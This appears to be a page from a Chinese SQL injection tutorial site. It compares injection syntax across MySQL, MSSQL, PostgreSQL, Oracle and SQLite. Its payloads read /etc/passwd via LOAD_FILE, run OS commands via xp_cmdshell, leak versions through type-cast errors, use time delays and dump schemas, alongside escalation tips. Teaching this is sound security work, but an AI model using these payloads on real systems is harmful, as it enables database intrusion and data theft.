🛡 SQLi 注入大全
已掌握 0/46
首页 › 阶段 5 · 跨库方言

跨数据库 · 一套思路五种方言

先指纹识别认库,再按库选 payload

当前位置…
库

跨数据库 · 一套思路五种方言

先指纹识别认库,再按库选 payload。

跨库 › 速查

五库对照速查 速查

五个库关键项一张表

认准库后,对照下表切方言。约 90% 差异就在注释符 / 字符串拼接 / 报错函数 / 系统表。

要素MySQLMSSQLPostgreSQLOracleSQLite
列注释-- - / #--------
字符串拼接concat()+\|\|\|\|\|\|
系统表information_schemasysobjects / information_schemapg_catalogall_tablessqlite_master
时间函数SLEEP()WAITFOR DELAYPG_SLEEP()DBMS_LOCK.SLEEP()-
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
-- - / # vs --注释符差异MSSQL/Oracle 无 #,统一用 --
concat vs ||字符串拼接差异MySQL 用 concat,PG/Oracle/SQLite 用 ||
系统表认库后找表名来源差别最大的一项,务必对照
跨库 › MySQL

MySQL 重点

最常遇、招式最全

MySQL 招式已铺满全站:UNION/报错/布尔/时间/宽字节全吃,还有 load_file 读文件、INTO OUTFILE 写文件。

一套取数组合拳
SELECT user(),database(),version();
SELECT LOAD_FILE('/etc/passwd');   # 有 FILE 权限可读文件
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
user()当前连接数据库的用户名判权限高低 → 能不能读/写文件、能不能 UDF 提权
database()当前所在的库名拿库名 → 进 information_schema 爆表 → 爆列 → 爆值
version()数据库版本号定版本 → 决定 information_schema 有无、报错函数/UDF 是否可行
LOAD_FILE()--
SELECT ... ;分号堆叠多条MySQL 支持;借注释符多语句
跨库 › MSSQL

MSSQL 重点

报错更强、能实时命令执行

MSSQL 的 xp_cmdshell 一步到命令执行;报错用 convert 类型强转,时间用 WAITFOR DELAY。

报错与延时
CONVERT(int,@@version)             # 类型强转报错带出版本
WAITFOR DELAY '0:0:3'               # 延时,等同 SLEEP
命令执行(详见深水区)
EXEC xp_cmdshell 'whoami'   # 前提:SA 权限 + xp_cmdshell 开启
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
@@versionMySQL 全局变量:版本号同 version(),间接看是否带平台信息
CONVERT(int,..)把非数字强转成 int 触发报错值会出现在报错里,兼做指纹
WAITFOR DELAY '0:0:3'等待时间(时:分:秒)MSSQL 的时间信道
EXEC xp_cmdshell执行操作系统命令最高权限行为,见 命令执行
跨库 › PostgreSQL

PostgreSQL 方言

报错/延时函数名不一样

PG 关注延时 PG_SLEEP()、报错 CAST AS int,还有 || 拼接、pg_catalog 系统表。

延时与报错
SELECT PG_SLEEP(3);        # 时间盲注
SELECT CAST(version() AS int);   # 强转报错带出版本
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
PG_SLEEP()PG 专用延时函数等同 MySQL 的 SLEEP()
CAST(.. AS int)类型强转报错值混进错误里抛出来
||字符串拼接PG/MSSQL/Oracle/SQLite 通用,替代 concat
跨库 › Oracle

Oracle 方言

必须 FROM、多 <-- 注释、用 || 拼

Oracle 的硬规矩:每条查询都得 FROM(没表用 DUAL),拼接用 ||,注释只认 --。

双表套路
SELECT banner FROM v$version WHERE ROWNUM=1   # 版本信息
SELECT 'x'||(SELECT 1 FROM DUAL) FROM DUAL   # 无表占位用 DUAL
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
FROM DUALOracle 的空表任何查询都要 FROM,DUAL 用于不查真表
v$version版本信息视图指纹识别 Oracle 用
||字符串拼接替代 MySQL 的 concat
跨库 › SQLite

SQLite 小库

文件型小库,靠 sqlite_master

SQLite 是嵌入式小库,核心是通过 sqlite_master 拿全部建表语句。

取表结构与数据
SELECT group_concat(sql) FROM sqlite_master   # 一次拿全部建表 SQL
SELECT * FROM users                              # 直接查表
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
sqlite_masterSQLite 元数据表里面存了每个对象的完整 CREATE 语句
group_concat(sql)把所有建表语句拼成一串直接看结构,免逐表猜